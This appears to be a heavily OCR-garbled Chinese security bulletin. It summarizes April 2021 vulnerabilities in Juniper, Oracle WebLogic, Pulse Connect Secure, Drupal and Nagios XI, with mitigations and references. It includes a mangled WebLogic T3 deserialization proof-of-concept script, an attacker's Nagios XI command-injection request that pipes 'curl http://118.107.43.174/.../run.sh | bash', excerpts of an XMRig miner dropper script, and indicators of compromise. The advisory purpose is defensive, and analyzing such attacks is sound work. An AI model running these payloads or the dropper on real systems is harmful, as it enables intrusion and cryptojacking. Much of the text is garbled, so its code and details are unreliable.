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https://support. juniper. net/support/downloads/

https://kb. juniper. net/InfoCenter/index?page=content&id=JSA11147
https://securityaffairs. co/wordpress/116907/security/juniper-networks—
rce. html?

https://cve.mitre. org/cgi-bin/cvename. cgi?name=CVE-2021-0254
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+ ##4 POC & EXP

if len(sys.argv) < 2:
print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv(0])
sys.exit()

+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(5)

+ sock.connect(server_address)
+ & Send headers
+ headers="t3 9.2.9.8\nAS:255\nHL :92\nMS : 10806088 \NPU: t3://sbcdefghi jklmnabcdefghi jkImnabcdefghi jklmnabe def ghijk Innabcdefghi jklmabcdefghi jklmn: 7681 ya\n'
+ print ‘sending "%s"' % headers
+ sock.sendall(headers)
+ data = sock.recy(1624)
+ print >»sys.stoerr, ‘received "%s™' % data
8-
+ payloadObj=""\xac\xed\xBB\x85\XT3\x72\xBB1X17 \x6a\ X6 \x76\ X61\x2e\ X751 174 \ X6 XEC \x2e N x4C \xEI\ XBe \xBb \XES\ X648\ x4B) X1 \x7 3\ X68 Vx5 3\ X651 78 \xdBAXEC \xdT\ x58\x95\ xdd %28 \x
1e\x02\xB0\XBB\XTENXT 2\ X8 11\ x62\ X61\xTE\XB1\x2e\XT5NxKTA\ X6 x6C \ 2\ xABAXET\ XTI\ xBE\ X3\ 65\ x 74 xbacdA\XB5 18 5\ X6 kb8 \xb T\ X34\ xB3\ xBB" XBE X TB\xTB\XTT\ xBC \xBB\xBOY,

AW

FEVCHK jdk FHEENBHIRA, AR 1iop/t3 PRl LMEAN

SEH T3 WM, BARERAELNE

1) #EA WebLogic ##il 65, 7F base domain [MIFCE UM F, #EN “2¢4” kI Wi,
s ORISR, HENIEBE AR E .

i I 2 g 5 It

2) TE BT L 25 N . weblogic. security. net. ConnectionFilterImpl, {EE#EFi%
PR PAIN: 127.0.0.1 % * allow t3t3s, 0.0.0.0/0 * *deny t3 t3s(t3 Fl t3s Ppi
(BT o 1 R v AR T 1)

3 RAFSE TR EHRSN, BT AT AR

B Administration Console

@ =m e Ewm B ER we | Q

EM >base_domain

base_domainfhiz B

4 ERE AW 5 ke web BRRE IR

—MMER | &SR BURAPEIE WA LDAP e R SSLIFBRENE

1RF
TEMT R, ST LATE itk Weblogic Server 01T iEaIgE .

ERERBSICRERF

aF) EETHE R weblogic.security.net.(

FEHETRIE RN
127.0.0.1 * * allow t3 t3s, 0.0.0.0/0 * * deny
t3t3s

\
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il WebLogic 546, base domain DHRZGEMEZE >AdminServer
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A —
LR
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|- FTiERE B AR
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https://www. oracle. com/cn/java/technologies/ javase/ javase—jdk8—

downloads. html

https://github. com/hhroot/2021 Hvv/commit/8dcfdd7786ded69f404d52a162a8c4dfc
bfd34b9
https://www. oracle. com/cn/java/technologies/ javase/ javase—jdk8—

downloads. html
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2021 4£ 04 H 20 H, PulseSecure KA %A%, ~IF T Pulse Connect Secure (PCS)
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FEBCEE Al LU ) FH IR R 7E Pulse Connect Secure M¢ EFHATAEREMRY, HiZRKFELT
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H i 12 TR 7R £ 0 R4 Bt b AR AR B e di 35 383K WebShell JRE7E
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9. 0R3<= PCS <9.IR.11.4

ZERW

HAT PulseSecure £ PCS 9. 1R. 11. 4 WA HESE T HLINIE, %I IR 22 4 50T Pl T4
T 5 AMIRAT, BN TR B RHIRA . Ak, Pulse Secure iE& A T Pulse Connect %
SoeBEE TR, DAHEBNE S e H RS GZ IR .
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W T Workaround-2104. xml SCF P LAZEf# CVE-2021-22893, {H1Z A4k

Windows File Share Browser 1 Pulse Secure Collaboration ZhfE.

R

https://kb. pulsesecure. net/articles/Pulse Security Advisories/SA44784

https://kb. pulsesecure. net/articles/Pulse Security Advisories/SA44784
https://kb. pulsesecure. net/articles/Pulse Secure Article/KB44755
https://us—cert. cisa. gov/ncas/alerts/aa21-110a

https://www. bleepingcomputer. com/news/security/pulse—secure-vpn-zero—day-

used-to—hack—defense-firms—govt-orgs/
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2021 4F 04 20 Hy-Oracte KATT 4 AH%EATR, FURRATZAR TN 390
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A, ¥ Oracle Fusion Middleware. Oracle E-Business Suites-Oracle”Communications
Applications Ml Oracle MySQL %52/~ i L4

R KAT 222 % T H, Oracle Fusion Middleware FHISIANT N 45 4, HH 36
NI T SR RP AT FEFH « Weblogic Server /IR ERE W :

Oracle WebLogic Server Coherence Container Z-4J§iF (CVE-2021-2135)

RSy AR R BT AT DA T3 B TTOP PhSt R I& & RIE K, RAIEHIIRS 4% . 1%k
TAJEH M BRI A, 3 CVSS 1734 9. 8.

-2 BEA ]

12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Oracle WebLogic Server Core Z4&:JRiF (CVE-2021-2136)

REE B Bk (B 5 v LU TI0P MhilUR &G RIE R, ARG 4. 2T
i P A BRI AT AR, L CVSS PR 9. 8.

5 MV

12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Oracle WebLogic Server TopLink Integration %4y (CVE-2021-2157)

RZE SR ISR I AT LLE L HTTP A& RTE K, ST DRSS A S odfs
IR P S BRI ATMAL, K CVSS PN 7. 5,

el

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0

BE4h, 18 Oracle AU KA AN T Hh:

5 Oracle Communications Applications FHIGHIFNT A 13 4>, HiHr CVE-2020-11612
A CVE-2020-28052 ¥F73 04 9.8, Bl o 4oid B 43 Yo ik RIAT T G IX 2 NI AE A Y
12 D22 AN .

5 E-Business Suite FHXMHANT A 70 A, M CVE-2021-2200 F1 CVE-2021-2205 i
459 9.1, W& T2 S gaik Bl T m AR A AR X 2 NRIREN K 22 2240 .

5 Oracle MySQL AHICHIFN T 9 49 AN, B AT B 056 E B Al A A0 9 10 4>,
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HH CVE-2021-3449 1 CVE-2021-3450 (#4758 MySQL  Server H[# OpenSSL &l i) 45455 H
7.5 f1 7.4, CVE-2021-2307 9 MySQL for Windows A A SRR TR, %I 55 &2 50

AR, H CVSS ¥4 AN 6. 1.

ZERW

Hil Oracle D& RAMMRZEANT, BBUS R .

NSz

https://www. oracle. com/security-alerts/cpuapr2021. html

LR AR It -

ZEF TTOP/T3 Hr% .

SRR T3 UM, BAAIRAELR

1) #EA WebLogic #fi &5, £ base domain FIRCE T H, HBEA “%4” WK i,
s “TRIEART, HENERTR LR .

2) FEMESETFIE 2SN . weblogic. security. net. ConnectionFilterImpl, 7EE4E7Hik
BN RSN : 127.0.0.1 * * allow t3t3s, 0.0.0.0/0 * *deny t3 t3s(t3 Fl t3s PP
(¥ T i R Fe VAR U 1))

3) RAFIE TR EHEE, BT A AR

B Administration Console

@ =7 xe Bam 2w ww | Q

Z*M >base_domain

base_domainiig &

o EE LU B85 B2 WebES®RE: IR

—fRfES  WEd: EUHAPYE @A LDAP BB Wi SSLIFHHR#EME

iz
T, EETLAE S Weblogic Server 103 1E 3R E .

ERERESCRER

AF] ERIIE weblogic.security.net.(

SEETRIE AN
127.0.0.1 * * allow t3 t3s, 0.0.0.0/0 * * deny
t31t3s
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5 ENEE
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R
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https://www. oracle. com/security—alerts/cpuapr2021. html
https://cve.mitre. org/cgi—bin/cvename. cgi?name=CVE-2021-2135

https://kb. cert. org/vuls/id/567764

5. Drupal Sanitization XSS J&iA

Drupal £ PHP 4i 5 (JTFIRMN S FHELE (CMF) , BHAREHERS (OMS) 1 PHP JF
KHESE (Framework) JLEIIEL, H AT AT EESZHGE I CUS Z—

2021 4£ 04 H 21 H, Drupal KA LA, BH T Drupal Hi)— XSS sl . %I
Je 1T Drupal Core W] sanitization APT FERLEIEHIL N ik LRI JEESuE A, ol
PLdE R XSS Il A B ARSI EUH PG R BT e AR,

-2 B
Drupal < 9.1.7
Drupal < 9.0. 12
Drupal < 8.9.14

Drupal < 7.80
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TERW

H i Drupal HIACEAER 1 BLIRIR, WS IN HH 2 DU ARCA
Drupal 9.1.7

Drupal 9.0. 12

Drupal 8.9. 14

Drupal 7.80

AR

https://www. drupal. org/project/drupal/releases/9. 1.7

https://www. drupal. org/project/drupal/releases/9. 0. 12
https://www. drupal. org/project/drupal/releases/8. 9. 14

https://www. drupal. org/project/drupal/releases/7. 80

TE: 8.9.x ZHIH Drupal 8 BEJjEAFIESCH. tbAh, 24 NGB CAF 1k SR

Drupal 6 7F Github b &4 1 i&H T SA-CORE-2021-002 [#] Drupal 6 #%:rZ24> 5 #r.

https://www. drupal. org/sa—core—2021-002
https://www. mydropwizard. com/blog/drupal —6-core—security-update—sa—core—
2021-002

https://github. com/d61ts/drupal/releases/tag/6. 57
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2021 43 A 16 H, unit 42 FIFFRN RIESE, B IEER Nagios X1 BRAEAE NTLH:
H¥x, BIEHIFH Nagios XTI BiAS 5. 75 HH A FE i 27 NI CVE-2021-25296 (iZiiR CVSS

PN 8. 8)1E A HE H I B ek BTN s Bk, DSOS I 62 R A MRig.

Nagios XI f&—7F] JZ AL B, T4 kA b iR % 28 R 2 I U 2 e 7 € - Nagios X1
WeBCE R e £ Windows Management Instrumentation (WMI) Mt & A5,

XMRig /& — IR IES - G N3 37 Mz (R~ , i SRBGE Ry, W XMRig
b B AE S IR 4 o

¥ Nagios XI FRELBBOH R T Z MR . ToIEAE FI OB AS 1Y) Nagios XTI [ R
Ll A il W
/usr/local /nagiosxi/html/includes/configwizards/windowswmi/windowswmi. inc. php
S, T AR IR 2 A S 0 R EAT T RER

LB AR B OB B XMRig #2052 75 IEAEISAT I AT LA T — iR AE:

L HATm 2

grep " systemd—py-run. sh\| systemd-run. py\ | systemd-udevd-

run. sh\ |systemd-udevd. sh\|systemd-udevd. sh\ |workrun. sh\|systemd-dev’ GRSt S
SR BB AR AR IETEIEAT, W& AT RE 2 BB .

2. MBI /usr/1ib/dev M /tmp/usr/1ib, LATEHE BRI HIA R BIELE. RAF
72, R4 TT RE 252 2 I o

URAE IR AR HUE S 1280 % 2 B, R e &L BERE IR IIAS, B RT3 KR i e
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HEH XMRig .o

Wt
XL R AT MR IR S8 118[. ]1107[. 143[. 1174 3RELHI%E bash #iA., M5

3|y Payload . — 4Kl 1 fis.

GET /nagiosxi/config/monitoringwizard.php?

update=1&nsp= " "I MhEF 1 7% "1 W AT SO PITEGTT D D R LT L PR R e )=38wizard=windowswmi&check_wmic_plus_ver=1.65&plugin_outp
ut_len=&ip_address=127.0.0.1&domain=127.0.0. 161 1V ike 4 17% "k &* 1 F&auth_file=&plugin_output_len=1824; curl -L http://118.107.43.174/
uplead/files/run.sh | bash;&submitButton2= HTTP/1.1

Host: L Bee By@ 6,

User-Agent: Mozilla/5.@ (Windows NT 6.1; WinG4; x64; rv:47.8) Gecko/20100101 Firefox/47.0

Accept-Encoding: gzip, deflate

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Connection: close

Accept-Language: zh-CN,zh;g=9.8,en-US;q=0.5,en;q=0.3

K 1 EEF A A

Hiki B BB bash A2 MFEE BIA IR — R 5545 N8 XMRig 6L, FFBE— R 5
AAEJG 1847 XMRig B L. — HIhpT), WAk I RAZH

CVE-2021-25296: Nagios XI JRR4MT
Hreti B AT iR LE B g & PIEA RSN PR BUE R i & o i, )RR N
it 3

ping $ target ip

WRAES target ip HHAHFEH], WA & FHR LUK target ip TEXKEN

1270.70[. J0[. ]1; sleep 5, X¥SHLLF Ay HH0AT

ping 127[.]J0[. JO[.]1; sleep 5

BT ping iy &4k, sleep iy & HEHHAT .

H1 T Windows WMI AC & o) SALEASWUEH S 4 A IBCE, Nagios XI 5.7.5 AR S
5% #|| CVE-2021-25296 A2 i SVEANINIA KB . Ll AUE R P AT LUK &5 In 21 e B 2k
PErh,  DATE i v AR A B 4R AT i 2

1R — 2 IR 25 2RI 246 WS #2014, Nagi os XT A FAN ] 2 FF s (4 L TET , DAGE A v 35 4%
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Configuration Wizards - Select a Wizard

&

A LI

[ R

N AIAR 35 AT v L, P AT LA AR 4 52 O E Bk

@l==c=rn 2

o 2T

O T ettt e ) i

2. o B 17 e B S

JR—

4,

Iy ‘I)‘IL‘o

!
B

Unoe s

[ 4

ZINIAALT Windows WMI FCE [m) 3y, Wil 3 fraw, 1%1a) 5 AR P AL SR EU N5 Bk &

H WM, F /s Next 25, HTTP POST iRk RiEFEu, WK 4 Fix.

4

q Configuration Wizard: Windows WMI - Step 1

Windows Machine Information

IP Address:
The IP address of the Windows machine you'd |lke to monitor.
Please see the requirements for the Windows machine setup in this document
Auth Info
Domain:
The domain the windows machine is assaciated with
Leave blank if the machine to be monitored is not associated with a domain.
Username:
The username used to cennect to the Windows machine.
Password:
The password used to authenticate Lo the Windows machine.
or
Auth File:

File to use with usermame and password for authentication.

Plugin Details

The check_wmi_plus.pl plugin truncates plugin output to a maximum of 8152 bytes. Use this field to

increase the plugin output length in bytes. Leave Blank to use the default.

Truncate Output Length: | 8192  bytes

Request

prety [ v Actions v

1 POST /nagiosxi/config/menitoringwizard.php HTTP/1.1

Host: 172.16.192.175

User-Agent: Mozilla/s.® (Macintosh; Intel Mac 05 X 18.15; rv:86.8) Gecko/20188101 Firefox/84.0
Accept: text/html,application/xntulexnl,application/xnl;q=0.9,inage/nebp, */*;4=8.8

Accept-Language:
Accept-Encoding

en-US, en;q=e.5
gzip, deflate

application/x-wuw-fozm-uzlencoded

M
7 Content-Type
8

Content-length: 25%
Origin: http://172.16.192.175
Connection: close

3. Windows WMI FEC & |45

Referer: http://172.16.192.175/naglosxi/config/monitoringwizard. php?update=1&nextstep=2&nsp=bacd3648482b8fcch26du192atdhacefascl5¢5598a7¢I7150424ce973e757Whkwizard=windowsumi
Cookie: naginsxizizamcmédoknhphulusselssgj

upgrade-Tnsecure-Requests: 1

&nsp=bacd3Euata2baTccu26dulozafduaceleoclses508a7c97158420ce0750757banext step=sknizard=windowsnni&check _wnic_plus_ver=1.65&plugin_output_len=sip_address=10.6.0.1&
username=admingpassword=adningauth_file=splugin_output_len=&submitButton2=
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B 4. Windows WMI it B [ SiEsk

MRAEIE R MG — SRR RAF (URD , RIS RRRAEAE web IRS5 % H R F B3
/html/config/monitoringwizard. php o1, {HZAIZH SC11 &, JoVEE. fEA—
P vk 7ok, BT 4 N T Wl ks B, I Ok E
/html/includes/configwizards/windowswmi/windowswmi. inc. php H1#& 2] 7408 .

FE3CAF: Windowswmi. inc. php oY, M AF-& 1 HEHUR plugin output len HME (411 5 By
) WEBRMBIE 6 Frafia e, REPAT, XS EmSTENRI.

$address = grab_array_var($inargs, "ip_address");
$domain = grab_array_var($inargs, "domain");

$username = grab_array_var($inargs, "username", "");

$password = g y_var($inargs, "password", "");

$auth_file = grab_array_var($inargs, "auth_file", s

$username_replaced = nagiosccm_replace_user_macros($username);
$password_replaced = nagi replace_user_macros($password);
$auth_file_replaced = nagiosccm_replace_user_macros($auth_file);
$check_wmic_plus_ver = grab_array_var($inargs, "check_wmic_plus_ver", "");
$plugin_output_len = grab_array_var($inargs, "plugin_output_len", "");

K 5. 5 e Bk A 2

if (lempty($auth_file)) {
$disk_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.pl
$service_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.
$process_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.
b else {
$disk_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.pl
$service_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.

$process_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.

if (lempty($plugin_output_len)) {

"

$disk_wmi_command .= " --forcetruncateoutput

. $plugin_output_len;

$service_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;

$process_wmi_command .= --forcetruncateoutput " . $plugin_output_len;

exec($disk_wmi_command, $disk_output, $disk_return_var)

($service_wmi_command, $service_output, $service_return_var)

exec($process_wmi_command, $process_output, $process_return_var)

Kl'6. 5 52 Bk A o e
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TEECH A Nagios XI o, @ EH] escapeshellarg () pREEGUE P H%m A\ Rz
BT IR, WK 7R, tIhaglid s plugin_output_len PEAAE M2 1S
BOR G o 2 NI -

if (lempty($auth_file)) {
$disk_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.pl
$service_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.
$process_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.
} else {
$disk_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.pl
$service_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus.
$process_wmi_command = "/usr/local/nagios/libexec/check_wmi_plus. . escapeshellar

if (lempty($plugin_output_len)) {
$disk_wmi_command .= " --forcetruncateoutput "
$service_wmi_command .= " --forcetruncateoutput " . escap ella plugin_output_len);

$process_wmi_command .= " --forcetruncateoutput " . e plugin_output_len);

exec($disk_wmi_command, $disk_output, $disk_return_var);
exec($service_wmi_command, $service_output, $service_return_var);

($process_wmi_command, $process_output, $process_return_var);

K 7. ERBEE

BEHAH
AR U0 R W MLl IR sl A 2 R e B R BOF AT 40 run. sh A&
PN
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LC_ALL=en_US.UTF-8

VERSION=1.4

IF L 'id -u' -eq @ 1;then
mkdir -p fusr/lib/dev

else

wkdir -p /tmp/usr/1ib

HOME_1="/tmp/usr/1ib"
fi

echo "[*] Removing $HOME_1/systemd directory”
rm -rf SHOME_1/systemd

if | curl L --progress-bar $zip_url -o /tmp/xmrig.tar.gz; then

"ERROR: Can't download https://github.com/xmrig/xmrig/releases/latest/xnrig tar.gz file to /tmp/xmrig.tar.gz"

K 8. &= A run. sh

run. sh JHIASPAT DL T #4E:
LA A Y HT A B, G — AN R ) SO
2. WIRs%s 1181, 1107 [ 143[. 1174 F#EAFRI LA xmrig. tar. gz, FERFHMR RS 2 S0
e
AL 9 H R BIAHSEE BT XMRig () config. json XA
i "s/"url": x"[A"]x",/"url": "'$PORT'",/' $HOME_1/systemd/config.json
i '"s/"user": *"[~"]x" /"user": "'$PASS'",/' $HOME_1/systemd/config.json
i 's/"pass": *"[*"]%", /"pass": "'$PASS'",/' $HOME_1/systemd/config.json
i 's/"max-cpu-usage": *[*,]x,/"max-cpu-usage": 100,/' $HOME_1/systemd/config.json

i 's/"donate-level": *[*, ]*,/"donate-level": @,/' $HOME_1/systemd/config.json
i 's/"background": xfalse,/"background": true,/' $HOME_1/systemd/config.json

9. AT i &
4 AFFHE 10 FrafiZ4E, AIg LT Bash A Python A, DUE XMRig & A FE 4G
KAEJR BIBAT
workrun. sh
systemd—udevd. sh
systemd—udevd-run. sh

systemd—run. py

systemd—py-run. sh
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system-dev ( XMRig Miner ) workrun.sh

A

3 3

systemd-udevd.sh |&—————

A

| run.sh

Y

systemd-run.py ]—»

r

| systemd-py-run.sh |<—

systemd-udevd—run.sh]

K] 10. Keepalive 5%

NS R A XMRig SCHF SHA256 i,  FRATEIAAT AT M5 XMRig GitHub @
L RAT B ST ARTE

LA config. json SCHFRY, FATERER], run. sh FF¥EA AR HIE R 7 Ek
Gk, XRFEOCKRM. ER, H# aT DU AR R kg5 A% LB HT config. json K
JR e, FRERGE 720 SR A B BB SRR & o I IAIE Sl T e 3 (R I 55 2
R run. sh,  DLEBCEE AT LA AT SE T AT AR Bl 4

g

Bt Nagios XTI BRAR 5. 7. 5 FIBEEFIH CVE-2021-25296 JRiFHS A T 240 fina 1% i 1 7%
A, XA TR IR FAEZ2IRIAR Nagios XI A RSEFEN L REE,

SBATIEN A (145 T e o> R AE T B . b, Tt id vl BETE 4R BB I A, 3B ik As
S HB T RE RPN RS EIHAT, SBUE PR E.
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10Cs
IP ik

118[. 1107[. J43[. ]J174

Droppers

X4 URL

SHA256

http://118[. 110
Xmrig 7[.143[.1174/upload

/files/xmrig

54b45e93cee8f08a97b

86afa78a78bc070b6167dcc

6cdc735bd167at076cb5b3

http://118[. 110
config. json 7[.143[.1174/upload

/files/config. json

2¢923d8b553bde8ce31

67fe83f35a40a712e2bed2b

T6ebaftbe3e63642d551389

http://118[. ]10
run. sh 7[.143[. 1174/upload

/files/run. sh

c711bb6cf918b1£140f

4162daab37844656eba2el6

c25¢429606e4c69c¢990£99

http://118[. ]10
xmrig. tar.gz | 7[.143[.]1174/upload

/files/xmrig. tar. gz

4079b3b34caa86dcele

dc923a32921£5814dd555£28

e8ebecdc879a2¢b0a80787

JFSC

https://unit42. paloaltonetworks. com/nagios—xi-vulnerability—cryptomining/
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